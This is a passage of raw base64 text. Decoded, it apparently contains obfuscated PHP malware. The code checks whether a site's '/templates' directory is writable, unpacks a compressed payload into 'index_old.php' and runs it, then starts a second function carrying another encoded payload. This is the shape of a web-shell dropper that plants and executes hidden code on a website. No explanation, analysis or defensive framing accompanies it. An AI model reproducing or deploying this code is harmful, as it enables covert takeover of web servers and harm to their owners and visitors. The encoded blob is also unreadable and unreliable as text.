DY25lQitmcmFnZjcraGg4bkVtU283VDk0YmVaako1UkRmQzhKSkhUelV6bHc1NW5idzRYMitqaUhvWFlrbU9KZjY5UEMzSlhEMks4bWNTUk9VUTliQWxxd1FDNXhQRDEydWVKWWVkRGcrUVRJTkFNd0E1OTRNekt5N0lFcm9jRE5weFZZZTFKMnFGYm9EU3FUcHBaT21lblJncG5jS2N3VGZXVXAwZldjdjBac3BPSzg4QUJxTGxCRDVuY3JLRzRuRE1GZFZBc1lmbXBBN1NWOTdaVnUyL3hGeW5BNXR1bjNQQTVMUDhwNlFFM0FpYUtSQ1hoekhCRGZzdkRMU2VFSzUrd0ZubXdoNGd6dmsyOTQ2aWM5YUs0TmhxcXdMQXlJMUp0TmM3SE5hQVUwM2Q1NWRhaW0xbEQwNGl2Z0lzTFhTbEZ1WEtzN1dvQVRmWHg1UE83dSttWHJVNDFuMzUra0VhVnhkTWZuczFjK1RrQ2hqZ25HdlA1eCt5V0NRRjlsa090RFZ1K0NmQjQ0dEVJQjVNN3g0OXJsbnY0V1IyMHVvYlBtVWRGSEhmU2xldEk5cHRYMXhia0VsZkcrYmV3WjM5KzMyMG1aTEpLZzRGRlhIb1F4K2lRMXgya2xtU2MzMDFmOERrbzlxS0xDSktRK2lQNHdCN3BBZzhyNjdHNzBkdStOYXBMbHVMQWJFN0xJNk0vT3dKa3pDZm9YU1FsWXlHMU45eDJZRzNvZ0dmcjZkOTE1VXVJaXk1Z1cxbGx2Tkc4cnhKOVVYb2M0MCtrUDU1K1kyUGd0Q3ljTG50SUpVenAxUmlhVzdYaUFiL0gxbllDQkxkQ0FiS3g4TDFDWmtxOUZMNDRrNmUvcHZDMnFmcUxuYkRnZk9icVRlOWFBSjI3Mk5PaWhrM0Q1Qy9qcXhVZUV0Z2c2ODNFZ2JlOW1nUDJ4UUlCL3hNblNuQnJoZEptUFFpQ0x1bW1uVkZzUFhDQmplM0FlNVU3RWs5a2ZCenJCZXZteEdvQU1Za1NRNDJpZHRBOU1WYzdMaFFxWHlMd2NpZGkzRVNJUDRxOHVJamR0eXVRSG5LRm9TN3gxd2lXT0FtV2wrQlNMVlpMZHA1UU1TaDVuU3hIc1JLb2NubEN5UjdjYnJZOGNKY2lSdmlWQngwZUtYZnVlWjdPenM5REpmZklVTmxvS1ZZenJZTUxuSmdTNjFabUpNSmxhWTAyQlNxM24vZGhkQTgzY2d1QURQdFE3RVdzajUrVG1Hd051SjNCdlB3YTJ5QjB6VzBBREpYZ0g5dzhyRVJXZkVCcjg3U0VaVUloazk4ZnE1dHZhZzRUQzc1TXdZMUR4cHg5WjhiWlJvYno5Szd1N3grU0prQmVxZUNNNm9QY1N5Zm03TWpUM1VwOUZyTTJQSVVGNDlrc1ZyT0w5a3JzWHZVUnh4cHJiZXYrNEFvNDhueFRsMzVZZitnSDBRTlB3bk1QM0JPUVdBL1lMN1lQdHhzVk5ZbFpMREcvZW9BMUJFbjAvUCtvYWpGOXh3S3pZaXVrd1BvalBWMFBsWjRGSko1TWVXU3NXdjBLL1JmTUJiQVRUMXVLMmtqS1gvZWVnclIrdmpMYXJHTTZhWElUbzRTUk1PQXNNdGlqZzBBRFpmOUhEbUxvYmZXNFh0T0J5VWhLM3QyQ1VqMHdQQ1RkLzU3Nm1WY3gxMTZxcDQwUzJFVjkxTExqbFJ3VjNKOVZDeG1tbzNnOFNvbTBiUWRuWGt6eHBVRVJleXFGU2w0R1BZaXBtR0EwRG9vR3BNRUFSNHNXNGdRTE1FZUVlbTE3VWdaQTVCRlRTTVhrQ2JJY3pLVDhFc1NwL09GelplMS9TS2RKVDJXOURQOXg4ZEFpVkhjK3RzcStFWGNtSzlvRU5KUk10SktVYzhsdnYzUzJjQ1ZqNUszbjVPcGpqOWxhUEs0Z25YZEU2T0FwU2lYU3RpTmR5RDNBY0piWXh2YjJmNFprVHBKeTFWUXFuWkl4a2d6QzdMQ3djak1ONysrVXhzQWlvU3BoQ2VPZ0ViSkMrZ2U2ZHMwbUJRY3BKaFM0ZGhjWTRHZW9HdnlRZGloMUUyVFZFbGRIKzlQN2wxNktENmQ4TTZab2I5QTgwalU3Tm1VSzB6cHo2QmI5aVpsOVRsVFRkajFXZ0lDMFp2eFZEaXAvV0htbzltZFBvOXZ1K0EvTEFjVFFzYWJSc1FkeEQrc3BjbUNCNzdPOGZ2VjJXdGFXUGVhZm10WTAyK2huaXZzcUc5cUxWK2JEaEx4emhHM1ZkTjNLNllXdXoxT0w0ZEVxRnpBNW9zeDRVbkZVMzlFTXBSTFRGbUpqbU5nbEtpUFJBVFZRaW9mQnpnQytLS09KbGJwUTNFdWlPN09WNjJLM2lvVlNHS3VsMXpqWjlNQmtBTW00QU4xUTUwMUEwb3VCRFFvcXhLQWNuMVlCM2c1K1RBeVNEcFJSUE1QYlB0VkJ2Mjk4YUJYSGxoVllmU2RES1ljMWlLcmNidmlDODBncDBCRTcwdHFTa005MFdYdENMY2hrZG9iSmxBVTgwSVVnZmNxeFFWNVJJOEFlSTF5OVd4YS9IT3NYYWp3R1VBOWFPWkF5NStVcmRwZzU0cGx1eWdSREk4N1VhWnltakhYZnBxbExwdzI3REh4bTVPVVVWdmtoeXRqS0pmTFRHZDlVdlBWOUl4MHI4MGdPaCtFcHB2dXpDSzl5dHkxbjA5ODZXMTQ2N0VMQ3RuOThxNisvbndMOHlUVGlIQkRBNVMzdzBMb3VxdmVrNzk0S2o1eWZBUUNSWHVVV2hjOGhtNnk2SXY2eEkxUG9DR00vNFI3VlM1SUczU1BiK2ZHcDk5VHJOUkFBZG1qSXFwTVA4MndNeWZrZDBZSmxlajdvY1lKMklsSjd4Rlg3Um1jVE11QnR6NitwQTVWQVFlU2dQQXBDN284UGxONGtaSzBDOWZiWWJRem01WEdVZVJlcnlodnBKeVNoa3NtaUkvbWYyWnplVWgvNUgvWSt1aSttbTVWMVNpVVJMa1JiTzFBT1QwOVhTSjh5Q0tja0dwNnIwS1NhYndvbmtqakROeGUxMTBFWE14WlF3TW5JZE9FR3QrT2E0WGVSY1g2M0p3ZXBFTUtlY2dGNExVQnhXY0lKcGhlTDZWVU5IMjY0Q2piZ2pveG9SRFdaTlpBSWpHQ3k5cEVrZnFveHNNUUZsSGQrOEE0d2xKZm5BWWlOeFp1NVlQdHZXaUZwOGV5N3d4bERlU3VKeHJXaTkxak5FWHU4a2NvdEcrY1RhcWI2aDhVNGhHdUpBN0I5UmJXT3RDdHNFTHk3RHRJVDdldWhoZ2ZyaytzVmJTZmJQWG1mNUczTjdFQWxhd1N6Ynh3cmlTbDh2QmZCY2UrTkNpUHkrN2k4dHFsZ0JibWVVdmFVTmVmcWxqc25HbUNpK2xvK1RsYW1JOCtNbnRzT1ZpZUcwRFZleDl0T3Q3T1lQNi8xQVd4NFRWZ2NqUkEvWWlUenkzaXdPSGN0QXR0YmpIc0ZuVUk5THBhOUMyZGxsV05ZRjNNR1RBbWRkZ1ZBVUlCVUVtMG1ORkZaTUxvOWNHWnZzYkZNWEsxNjVyQTBUOElWaStreFNCSGFxQmtPRXZ0NVZRcnpHQ0h5YWVCbm05U2d4WTNobnZaWGtjZXcraWFyY21uUlB2UDlBTFpVOU82NWpYMndWQ2ZaS2tQc25MNkMyVVRWU2ZEcWVZdmhNbTk1czA4OE9MMWNOTjduVHVwYUUxRmlIVDZZZFNwNm1TWmN1RDRMNE1TaFBocXNPNmV3T2RDRzJyaEtCWCtnbDZ5eFBiMGYvZklaRlhlNEcvMnljTFlHbElBMzltc3Q3N0NHbmt6V3BKSWFyblF0ZEdRYjJkdTNpYzNpdlAwQVlVdzAzK0lVOFI4WWo2SEFFdTdEZ2RabjBpaFdkc2RPY3pBWWJOMXYxUmV5R041WDYxdmhsRG1ielJ4RDViSW55OTRNdEY5dzNiMnJTQ3R0emhNbklodzdxRnpoSC9wWnJlM1UwYWRvVjc5MFZNK2p1Z0UrcjJaTForSDNHQ0NkeXorc1ZJK3JXc2VTT2EvcTloemorclROZEJib2YwUUNyYzl2Um8rRnRtRGRUc0ltdmVydHdLVXN1d252SWRaQjZIc0llRkxkUU5Tbmp5bVE1eU1GUVBiajZUNTFtRHJ2V2trcE9wTUpadXBXZzZtRjlmVGowd094WnZNOFp1KzR3MTh4RXYzdThmREpBQW5nclVQcTU3QnNvZUFYNW1mU3plaVdiYUlBU0hFbEZpeUxxallNRjg0OUkxais2R0kvdzF6RTFWRUc2YWZwVjN0RnJuc3Z2WTBuMHpmdU9MRkU3YjJ0a3pWYUx6NWJsTlJkSVJoTkQrL3V5cjNmWG5FdnM0N2ZpQnpiTDRxdkN5NS9vMHJUTzkrb2dNK3U4REdsMnlvQTNUSTE1TFN3ZFAxR0doUTZBNVkrK0xET1hlOEtXQkp5V1pIVGxLUW1nRkY5Z3ZicmIxbVZDSFZIZS9YbGcwTmhDRVpSRVF2ZXZPNVNGMjNVdVFDZ2t1eVoxVG91TUEwcEpOU0tpejZRTVpqTXJCcTRmSTZlU3Y2cWRDRm5zZXpNMFlZQ1lxZVplZlBGbW5ZaWRCM0kzYkM0SUY0MkQrblh6VWkzcjgyZnBMeGRHMWo0ajg0Q0FCdHl4R25vOGlOeWJRUTRuVXBkOEU5QUJkeEtnaXlCMlZTaExGa3BMRWpwSDJEdVg0bFRZTzUvbXdFYi9vSXE2MGpGV1lFZ1JJeTllZERLeEZMUjVPTGphZ3JGN2phcFNJMGlmZnRyZ2REb0k3VXIweFVxZkljOUVtOG5iT2NNOG1WRCtqU1hveWpLeHFJajBRMm4rRWVJRytVaEhjRmFvYUIyTERLQ25PbWV0cDg1S0RvNElISk0yT1ozUER3ZHVwVWNIT0kwVkFPbW5RLzN4TTRaWngyWGV5WU9ENndFaTczeEt2cmo2bng3UEhkUWxmWFNOdEpwODRTOUFnZWJJazNON1lOUnNubkVDNWpPRnBLcXgxeCtUcEU3SlJqdmVjOS8yK0h3Sm8wYkJZMUJYOGdZZ3Q0L0JpeENNS2ZMMTlPMWRHUDNKWTJKdExvRHZWRUU2cE1zam5uMzFLK1NRQWJzWENkRmYvT3VVcEREU09Xb0VqUFA3R3dDNjBWaXExczRlRFBKdGh3d3hYTEpibUcxVk9saVJoa2toRktuRVhHWndQZWJiWVNZYVRNYVZHVmxUb1dwYjVHbGlqSkR4L0pUL0hXb0VCaWhDMlNMMGJ0R0QyNGtWNXp4Qk95UUc3UWVZbGRlQzFKb0dKSFBDdzZ2ekoxd0hKdHgwYWZVRVk1UVhUSjNweUZHT1dRN2dMV01SMjRodlBMWmtvWXVIOUxndUdWc1hUL2dVYWVEZUl5dW5kR0hxZGlIVHoxYWdPK1JiaWl0bU00dkZvT1EwNTdkK3BhRFB6Q1FXa3JBdjRtY0p6L3lFbHRYWGZITVBQQ1F2ODRqNCtRUGppRTM4ZmFxVldPRWJxbW55MGdpVlRNbkhBbWdPK0Z6NTZsa1dPMEt3UytnN3V2RVphN3ZiZUlzazFYa1JWS0pWUlBKenBVTUdtdmwwYmtsZ3NheVpFWXdvQUkyOFpzV3NoUzBqSHFRTmhMNkFwZ1dydGxKTUR5TWlXSHI3cnRMNWp5SWdEVWNkamE1cGRxYzJtdHlNWXBkbnR3eUkrTlRzZVRCdlhZQWhhN2dUSWlwL0VJOG51SzJ1QzFnQmFCZ3lJZVI4ejJMOUJWZmk2Yzg5ZkpDSmFySXlDUjNqUUh6YVlReVNaRFNmeG9nVnBNOFV0WnE5VUJSbDVVOW8rMnlUc3FFMTNHSS9LekM3dXZHZUoyR2h6YWlrMnQ0UWlobnBZcUNHVnMxNmRoMzhCQUN6SkFhdTdGa2crYTlYL1FCbjNiTE5QS3dCaVF3Qi9VM3QzTW1CRWRHQWN2TmRTVHVRWTk4YlhjWVAxNmNJOUtNajdyeUM2L3R6MWVDa2RDT2Y4WmMvcXRKRmorb3Y2b1MzTUZHT0RTV2hyWUV0YnhYTzhVYjYzdUxoT1pTa3E0RVo5eW5nNmI2ckhVdjJXM1FZamZPZE5oOXlVRUdPWk1lQzdKU2RnQWdXWmYzN2Y1MmFuRW4vUi9VMlk5a25lL0hIdHE5L3JkTU9vMytreVZZUTJGOTVrVTE1OGNjL1QxTCs0OWQrci96NWYvN3g5LzhMIjsNCiRwYXRoID0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvdGVtcGxhdGVzJzsNCmlmKGlzX3dyaXRlYWJsZSgkcGF0aCkpDQp7ICAgICAgJHN1ayA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRwYnQpKTsNCiAgICAgICBmcHV0cygkaT1mb3BlbigkcGF0aC4nL2luZGV4X29sZC5waHAnLCd3JyksJHN1ayk7DQogICAgICAgZmNsb3NlKCRpKTsNCiAgICAgICBleCgicGhwIGluZGV4X29sZC5waHAiKTsNCn0NCmVsc2Ugew0KZWNobyAiPHNjcmlwdD5hbGVydCgnTm8hJyk8L3NjcmlwdD4iOw0KfQ0KfQ0KZnVuY3Rpb24gcHN5X3h5X3VpKCkNCnsNCiRweHk9IjdUMS9WOXU0c3Yvdk9mc2QxTURXZGtsQ0F1MytTQm9vQzZIbExnV1cwTDEzYjVMTk1ZbEozRHB4YWp0UTJ2SSsrNXVSWkZ1eVpjZWh0TysrUGJmbnRBVkxtaG1OUnFQUnpFaDZ2anVmekwvL2JuMHdkR2RYOXBnSWYxckU5RHp6OXZ2dmlPS1BydjZNZjdTRjV3eXVUVzh3TTZlV0poVzFkb2oyWGl2bnRMMXl6TEd2YkkxdEowNXU0N0VWREs1Y2I1ckdqSTBIOEdjK3ZqSnpRVnlhdmowY21JdGdraVFpQW5GcFhzOXlZVXpORDRNcjI3RUd2djB4UlVhbG50ZlVkQnozWmpCeEE4ZWV2Yk5uWTAxc1dzdHJ1Wmk3czdCaGl1bTVPSWZ1ZE81WnZqOXdGOEY4RVdoU3k1cTZvZEZFbWFHRFJSNUVadXpaMEZtTUxEcDhXa1ExeVduaFdWUDNHbmc4OU94NTRHdkxPV1FPaDlZOEFFRjMzOWtXYjVETEdIOENZMkZQelRHdFRRbzI4S3dyeTdNOHJjaWdlVzVnQmxaOVd5czZ5aUNlMW85UEI5WnM2STZvYUMxcjRBZkFuc0hVQ2t5dEdBYldJTEFEeDlLS05RRFJzVUgySXI0dWxSclAvV2pOUk9GNVVLbXAvVmRxL201U28vcUtrdVNZbDViamZ6WDlRMEhwMmhFcklvZFlWQ2JSNzFON1pwTTM1OGNWYkVQY0diR3VMZStXekdIa05XTmxJZVRJem1rUjZmQWlRTWUvREIzYm1nVVYzd2JNckNFc0QwUzNxeGI1aDNsdHNnYkdFc1FxWWVhSTkyZ1IyZWRGZ0hnUDF5TEM2NUxBSlplQU9YQTlhN1FFaTJvR2NDd2RLQ0pIckFoUTBGOVpUV1RncGVmZStOYUlzdEF2Z2lReGEwUWs1N3dveEdJT2c0WHBFTnJDUTliOTA3cjA3V0RwVUNubVdqaFVZUkdnZU9OYjVQejBvcjVONkNSRCtOQ2ZZR0lSY3pUQ3hYVUpHdFVNNVdoK3BVVWhFbGFSWVZrVmlXcFdoeXpESXZJYWk1Qmg5RGVzU093WlNyY1oySWdKRlRabzcybXhBVktvQkFuYkJTMkswQ0ZNd3FvdkFheFFIU0ZnVmlSS2NRY2xOcEppNkF3d3pQWUpCd0lNZEc0MWcyU3ZWMW02WitMNndRUFpQbXQvMWJkKzZsVS8xMy9aNmxYclAvNk1QOWJ3bjUvZ2Q3M2UvYkh5Uy8velZyZUcvMjEzYS9XK0FZV09PelFkSkdMTjF2SldXMjRTRGtidTFMUm5ma3luenNyaG0rVUZpbjdROHUrLzI5ekV2NlI5Y2tEMlQwOE9qMTYrT2QvNzliaE5Uczh1ams1UE9sVnlBZkxub1ZaQzN0NjZDNUROa1U4bU1QbXFaTjl4UVdaUlF0RWVyakpvRkd2S2RHd1JUYU1FK2JkK1lFMGZoTEcrNzhqV3JQVWhzR1pVZUJ6WEhGa2pYWFBuOEFHcUdlVHhZd0w2bTB2V2RHNTZsbjcyNm16d1IvdThBeDBGU1hwYTNhN1dVS1IyV2lDaHVhWTRRdmZqU1FZTHhRRDJKcnBHZHdWaGNTNk04VWQ3cnVXVC90R3hMeG5kanlJRStLM0s3UGhCYU5kRG0zeGNkS2I2anVsUCtHekNmUlFvWmRnSXZWKzRnZVVQeHZPaGJ1UkoyZHh6UDloWHR3b3AwZ0tnZkhNU1RCMk4yL1NhT1o4NzlwRHFsTTBQVTJmalEzWXBsbXg4RUVvcHRLSFA2S3d6NUh6WVpHR3FWWjlkYmpHSm1nVEJuTTVYb2R6MmZlRFgrcURUUG9jUjdtcXZMaTdPQnE5T094ZGEzeUM3UkZsQUdyRGVKdHF4L3djbmU2L2J5WlpTRWJUVm9pbXJNYnJaTWo2QTdiSkFOeEtya1NyUkkxVHRrejhZR1IzRUFNTXRmeUl0YUlWRFRENS9UbU0vT3oyL1lIV2VQdDBHOGpUZ0hKQUN0YXRFYTJ4dUlpcVJRNEE0QzhhakZ2bTV4dkJuVnVCSUdneXN1bHFJUGk3SGVkWnBIeDlxZlpFdnVOUkZmUEVYbHlDbXVzaTBNcHI2OE5HYnUzNmlRTnZVakEwdUhRSjdrNm9HSFJVdzBRVTlMdXRHZ1FKbHVlOE8zMWtKM1RsYk9BNHQ5S3ozQzhzUGNMMmR1Q05XR0hmNXZQMzdtM2JuWXZDNmZmSHE5SUIzUEd3eXNXQ0dlNzVJS2x2QWxMMkE3Z096M05GdHVnaW0vOXdGQlI5RGxEc1FsYit6YnYxRUIva3loNUloVGJBMGNMUlplRkdORXpzRFpSVU1ndHU1RlRXSzlZQlV4N0ZtNDJEQzZseVpqbTlKcFNQYm55ZlhCeXRJY0NQWnA4QzdUUXhhRFBqOXdnNUlacW5nL1dFY2k5RUtSWjVsT2xPQkl2cHhDSGF4bjBVUloxUTBTTHhwdExvZXZqblp4K1dVSExUM2ovZk85K2pTR3E2V1Y0dlprTnBmM09TZHV4Nm9oWkVabUtDU1B6RjdCUC9sV3hoQ2k3cmF6Y1FlVG1DNndUeXZRbEYxUHBscjNKNnhQdGlCWGtQaTdpUUVZRVp5MXVycjZQa3FrL1ZyMDFuZy85YUh1UTM5d0NGR3JBd09zSHJoellobjNzQk1ZcmFyTHYxQ29SaFUxN1JRSmVUVXBJaG9WZDJhem9OYlBVU0pTbFdqU3F0SitDY0thenlGZmxxNmRsQW1vOHJyeXAva1ZjTnUrS1Qzc3ZlNmQ2SEZKRFAwVGJBdmcwbHJzMG1ZSWRTcVVoWDE4dmowMTczalRsZUxWU0NkaXpKZlVPVG9MTHMyUFZBMWRHd0JBZG9JSUtNd2QvaThqem16RGliTVBHRko0WGV3a1N4ek9DRWNDREY5c2s3YjczQlc4MVgyVTd6WXN2Snd3WXB4SWwvOE9XeGxnaXRkKzhIdi91RDNOWW1vTWhIWWl3ME1ZR0xpazJEZzJsZTR1ZzBZeGVGd3hNV2Y1T1ZmNmlEb09HOE1FUEZiT2NtdFVJSW9CUUsrdS9oSDJNUmIrWmk2MkJ5V01aS1NtRFJFL3A4a29oUkk5cmlpWGZiZmdjMGFXTkE1d3dXc0FOZnBJZWFNS3pqR2xCU3dTY2RnWFFiRGlRNDdINzM3VjYvYjYvYzNqRjVYUjIzeEdSZU56OEYwVG4zdlJxKy9wakhBOE85MEdkMWRNQWRRUXpybUVHaWRkbXQ5Yk5XdDl6bHQvUzc4dHRWSFFXSTBLNlduZ09Sd3k4RUhMTlRnQUtNSWx5eFFMSmFYRnBZWHRDcWFHN1I2TERYSWowZGMzV0ZkUXlFbHRGOGFLdjBCcktCb3k3SEZJMUVCYlJVbzVIWUcrK1lQSjliVVltdEFhT3V4a2tqUkpjV0V5bUtNRWl6T1pTd1BNVmRiYWxvYkFsb0c4dDVLZ0xkWGRMRFY0cVl6bUxlNzFBcHRnTEdxUnBUbUxhd01GS3JjZmZxVm12UlN0UVphbHlMLzhidlNRTXhDQXd1VGd4TVY0SlRsd3JCVjNEYldLeElRVkM4ajI4c2VHeHhOck1FNFU2MXFpZTNicC9SdWpzMzR1VHZYYVplU3pvODcrZGRvUGxNc2p5aVdBa2pRU2NBSjQ5YkF5R0phQzdzRDdKaFpOd05XckNGM2JMUTR5amk3RnFEODhEZVk0cURwV1AwbVZuZ2VsVGJqNWxWYTBaK3ppcC9XN1R2Y1dsNE9SOWJWZUdLL2ZlZE1aKzc4dmVjSGkrdWJEN2NmOTM3ZFAyZ2Z2bngxOUkvZmpsK2ZuSjc5ZnQ2NWVQUEhQLy8xNTc5cjlhM3RwODkrL09ublg5WXJnK3JHb3ljOVRUZkt1NDBYajVzdGpVb0hodytDSVZzMC9EdDBhbU5qM1ZiNWtpaWZ1MVNlT2QzWlBMOFQ1Nm9zREh5SEpLZytiZk9Ibjlyb3F0ajhIL292VGtFSGR2bFQzWjZLc2tmSG1XMlhGQUtMeWowR3p6ZGdJbVpoK3lWL2p2ZGZDWkRRUlE0eEUyUXRGNnFScC9saUZVVHhLS2FnWjEwUEdBMGgrZ0dWSFJVcXNrUHF1QlJMVkRKa0tpckRFdDUzRUllRWZrenFqV2pCQ1BXWnBJNzU4aE40MFNLbHNtdkNyWXU4T3FIbng3R0NlTVhCb2VZZW1oWUZLYXhSdUQvR2p5QWM0ZUlrN0Nsd2d0TWFPTUcxOVBMRTZZaFdKSW5JOVlucFQ5QlFZT0xKdU1VMjZHdGFpR2o5eWpQSFV6QnRrQTFSQTFRb3RITm8vYStoL0liandMb1RWalNvT3lFRTVWdHoycHJoRTlEaDZxZm9XVmkvRldGREgwcjRkWWM4UzNmWXY3RURxbzhCOEtmYVhiWUdIcUx6QUlhOG9aajNqT2RTajBDZ3RnekdabHlwZDhXOUNaT2d4SHBPbDFVRTFGaGFsUy85NlZyTURGQ1hDYXM0UTZSUVlKZXdPTDFycXZxOW05TnZCVEp4anFqSjRjcm9IcVNzS1VtSjUwTTRoNHBEbktvZ29rQWxSL1FuZzNybllNUHBCRzVEVTdoUVA2bTlxZ1hJeXlKUnNWYkRvbWN1bk9DTFJrVG1lcGF4SEpLOVMwcWZCS0N4YjA3cjMrMktKU3p0Q0JGS1dVUDl1MVlKc0xLbE5EYWNrWkJJWFRSQ29tVGx4MGtZMkRNSGxPdGc2SU1TZ0g5aWpSZHZRQWFtNDhBbUJLRDAvQ2M5SGY3UllUOWk5Si9vdlY3UE1KN1FudzI5WjN4ZU4zYlhiRnd4QVJKdUtiQzFCVCtkbmJkZkRqcnRpOEhwK1VIN1hOb09nb3FRakJmNG1TODF2TFZzdlRTWmxaQzIvd0ZqWW5VUEFYVFg3VDdkNGlEdmRCeWxzTy9RaGpGTnJGbnZVMCtJd2J0aDVDd3JXSjdKMkRSSE9ZMVpuSSs0a3VCOGFlMEZtQ09nWnBEeHU0MWVDVGVEcFIxZ2VhKzArMW1EM3pUOFJkczE0TWNtamtRVEJtTE5MdjJmak1QSWN1d3BtcVVsYVJWbjd1VVdrVmk5bGJtMUVtdHQ1MjZ1UW53bHJaU1k0ZUdrbFdFMXMyekZJZ0xFQjRMUXFjNHdGNUttcUs2cWYwL1o3a24reE56L0tSRmNTZnhpaFNDYk1VUmx5RVNNbEMyQ2tzWlcyeG9hR0NYMEwrcFNCV0I3WEFGK1lYUTNrNVRHdkFMUmpzenZOYjBMNnNRbzkveWVWZ0pkMGpmUWk2SDFldXQxK0Y4eXp5aTlpZGJRUXEreUpyUkIxS2N5UjJqZ240ajlJYXU0TXhtbUFUazgzbnNaT1pBRjhSdWNuWFl1dW1HMloxTHA5bmswa2RkOTJWNVdOUU5xSW9telQrVmM4RlRIbTFxZUJZYmJXZnlKMXFjK00vcGJsdU1zREI5WFc0VXA2TWJ3cVZUaVlOdXpzYUhiczhEUUwxM1hNVllEZ2dJajU3SkpwYnRpRjFCMmFwcFM0VVo5YWRIVURzUjliWG1CcmtjRmo5RHdwb0ZGL29FQkEzT3hUT28vY2lkK3RCdFhqMTE2UUhJR1dzNmk1WFdINkpZRHJUMWJUQXRBRitabDNMK2x6VEs2c245Nit0dFJtOWZYVk9Ra2EyU2dUMVFMcHczZENjVGM1dnVjQ0VBY2I2STdkU0ZHd2dHVkl5d3dVKzJwcFJzYlcwL3J2MnpWYXBFS2lxbEFOVHczUjdvMDJISDcrbys0RFNpSEt4UVRMTnloWStKQjUrSjhjTFozTURodUgxNUVvRzBlZFh1Z21aV1daT1JjWVRHWHBoUHJGUHBBeEFYVDN0aUlKNEtvdHc3YUYrM3oxMGNuYlpwVTF6N1pQejA0T25sSmZ0M3J0QS9JNlVsYXA0WFV4a2xhL1hqZ29uVWphVU5tYldFbDV3MWRMZDJndnMzYUpLWnVCSnY1cnBiREZoZGZuaGJ4MklRTlAycjR4MnZiUHpkeFBtdVB0VEtKRWN2ZU1VcUZJVEV1OXNDRmZKQ3p5QjZNR1JMWWI4MFFqcHp6b1JCVEhxamJvaEh4OWZ1cDZKbDZtdXlmdmdacnQ5TWhwMjh1enQ1Y2tLTkRjblFDcXVITi9rWDdRSjRlb2FaTlp2ajNXUllIeTdUcXNsd2pRVnJjeTRFZm1LQ1hOUGhwL0hGaXprYU81V2xHMHM2NE9EODZJNTNqdmM2cmRvY2NucCsrSmkvUDlwR2VrL1krRUxoMy9xZE1Ub2hQeWpkU1NlbEFyS0ZueGM4NGk1T2hMZEJKUEhabHpuVk5BcVdGQVcyRHBmSU1tQkVndEZRaHhvMm1GR3RNTE9Dd3FqRi9ab0pzTEloWEFMUXRsTFd3SUs3RzFpaEZOVmFRSEFPYWo5ZEdVU0QvZkxWM1FTNU95Y0VwMFNteUtEWFpYMXhPN2FCTWtGRDZnZWVaZ05CWjQ0VmpldkVIbXVWQU1LR2h6SE1teWRTY21XUExLOVAwZ3dpbzhYV05TMjR2TXE2d1ZBeGRPM1paV2xpRGJWUEUvS2txZXB6b1J6WEVLQU5CMUFSTDZhM2kxSlNnSm0yV0NHN0dlczVzTkVPZGQ1RnRyNlZNTU5FZ29UdWRscVNDbGpVUHhlczlDSld3RStMSlVydXdGUkw5cmJxaUhIZENZZVFGUHh1VmVwU1g4VmlqWHRqZHlBMEw4NCtJY2E3SDFFWUtVNTkrZjlNKy8zT0EydVBrWlRMa2xRNFE5MzZYUnlEUk54eUFYcHZHaUFFcmJHWVZJVlNtRHZ5SmZSWFE4SHpHUEtaeTFPSk1xcElvVXZLWUF5OW1hcXNrV2NTUU8zREp4amtZTlpQcXlpZ2xVUHBHdlk1aGZuUk1nWmhBeEZjamxpVkVEN2RGOVFXMEJadmFzNUgxQWRjMG1LRFcyUFZ1MldkckZuaTM3RWlGVVVEcUU3MHZrOVFNVlozT0V5cHFDOS95Mk1mNDI5ejAvUnZYR3lYMkJhcjBQQTNvaVlSWW1mRWxXeU1GNlROVUlLUDhzb1IxbGVwSjdPeFBkMGl4OHdjRkxhcm14RlNtY1pBNDNKRVdUaHBFai9KQ0JmOHFBaE95SGhnOElZVlNZaTVObkd5SnhhbFpIcVk5c0VSNnhhd1Z0aklzMXg2M012aFRmdEJiMEI2MHRrUmtHUEV3bGdlcTd5ZndudWZTSXlkanoxM00yVGQwZW1QaU1teFllYVVQQVk0dC9jb2FzRnhtSXpmNG0ySGlmbXN5dDR5azBMMDZ2VGcrT3ZrTnQycGdsLzdSUHNIa1JWRUVIOFh6STNXOHRTOTZrYVNVNi9QMllmdThmWjZZdFluVERDeDJIdWZ1Ulp0aVgwQVNocHVGVUdwcXM1dzhKWkdRdFUreUwxZGVvV2pheVc2djBkdnNiZW8zTnpmR0xsK3pXTW81WGFEMDN1Ym5Yb042cnlOL1htWi9jNXpDY3NmVXdhRmtVRWlWRmtjTmNnbFlUcVF6VnREaUdlUCtrdEJudmZFVkp4WHNadHlGTjdSa2tSVUV5ekJXaWVodEtXZ05yVTRjbmMxNnRVYWUxcDZTRXpjZ2grNWlOdEpVOEdQN3JsajBMY3V3emVCM0lZeVNxaURSTEQwOWE1K1F6dW4rYjIyNlNXQ2lGODdTa1NzdGpEUi9XcGF0S05lOVJWNWM0WTk0YmtiWEpkV3FUTWFTTnBwNDBLWlBEeUg0RGwxam9NUEJjTTRXcGFwS1VTZTBOOHYvd3R4ZUQxWlhsLzhBYTF5WmJOZmt0THFZWW1HeFMwcjRWMU9lOWt5bFBEblpSaXJ1Z2NQQS9xZHJPRDhjUUY2MTl3N2E1NTI0VHRKNEVkTDZVeFlONkIyaUpibks4bHNrUm9YYVY2Z0ZjS0MzS2xNNmpSb3M1dGp5WjVzTWJFM0RnYUFsL2JrREVvb0JrY2RORmdWUllTcmp0UWc4aUhkMmZIUXhPR2dmSDcwZTdPK2RYY0QyVmhUdjNJQWVoWllNNXlsSmpvejdGbEFrdUFzaTcwL3FNelA1NEhPMHE4R21EQ1dHdG5oRUptUW4rNDZoUkJZRWkrcEY4Uzk3WXlNbEIwcGFTeVJVUVQydk55czFjNnBxcjJEV05OTERIdWQ1SkdkVGxPRlJDb0duSlVOYXA5N0FiNE85bDdETXJ5QWdiOENhcmV5TllUOFFFcGNKVXlSRjBHZVo5T3p0NzdmUFZxR0ZIWFJXMGhIQ3lxQWh6bEJkaHFRVUlubXkrYVQ1dmxXcjFqTzZGTGx1cGVQTVJhd2lyS0xlS2EvcUZnSHJwUHZYNC80R241MXFmSEd3dlRDaitRbHN4bWx4MHhzR2hGa0lPV3Uwb3cwQzkzeXAwSWJuZ0pJcDBZa2pPY21rWE9VbWczdmUwUEpqWUFmMmlDcHQvaHMva3BSam5NWE51TVVacVlwbXlzRWIxVTBaS2dsOGhjQ0V0S1U3R0FsYWhMQmI0eXMwNjNDQm5GMmg3WFkvbVdrNndDV3VTbk5LaEZxZ2hEYzMvV0F4QjJhY3ZUb0RLMnVtQldSaVhsdGs1TUplenA0UmtFS0NVdWlMeVFvaXlWeXB4NXdDcGY0VUUvU1MzUVpCb2c0UEg0OHBX